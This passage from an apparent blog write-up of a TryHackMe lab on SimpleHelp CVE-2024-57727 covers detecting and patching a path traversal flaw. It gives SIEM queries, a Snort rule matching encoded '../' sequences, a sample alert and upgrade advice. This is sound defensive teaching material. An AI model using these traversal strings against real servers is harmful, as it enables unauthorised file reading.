event.dataset: &quot;webserver.dataset&quot; and http.request.uri.path: (*../* or *%2e%2e* or *%252e%252e*)</p><h4>Splunk</h4><p>If instead you are using Splunk as your SIEM solution, the following query can be used in Splunk to view path traversal attempts:</p><pre>index=web_logs (&quot;..%2f&quot; OR &quot;../&quot; OR &quot;%2e%2e%2f&quot;)</pre><p>Replacing the name of the index with the appropriate name for the log source.</p><h4>Snort</h4><p>Snort, the popular open-source Intrusion Detection System (IDS) placed at network perimeters is a great way to detect the path traversal attack in real-time. A Snort rule to detect the path traversal attack has been attached below:</p><pre>alert tcp any any -&gt; any 80 (msg:&quot;SimpleHelp CVE-2024-57727 Path Traversal Attempt&quot;; <br>flow:to_server,established; <br>content:&quot;GET&quot;; http_method; <br>content:&quot;/html/..&quot;; http_uri; <br>pcre:&quot;/(\.\.\/|%2e%2e\/|%252e%252e\/)/i&quot;; <br>classtype:web-application-attack; <br>sid:10045727; rev:1;)</pre><p>When a path traversal attack takes place, Snort will alert like the following example:</p><p>Using Grep to search logs for path travers</p><pre>user@tryhackme$ sudo snort -A console -q -c /etc/snort/snort.conf -i eth0<br>[**] [1:10045727:1] SimpleHelp CVE-2024-57727 Path Traversal Attempt [**]<br>[Priority: 2] {TCP} 172.16.1.1:56789 -&gt; 172.16.1.200:80</pre><p>Continue onto the next task to learn how to mitigate this CVE!</p><h3><strong>Task 5 : Mitigation</strong></h3><p>SimpleHelp published an updated version and a patch for their older versions. Users of version 5.5.7 and earlier are advised to upgrade to version 5.5.8. Users of versions 5.3 and 5.4 should patch their servers as explained in the official <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#patching-v5-4-10">security advisory</a>.</p><p>Thanks for reading this blog I hope you learned something new and valuable.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bea119c1c1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>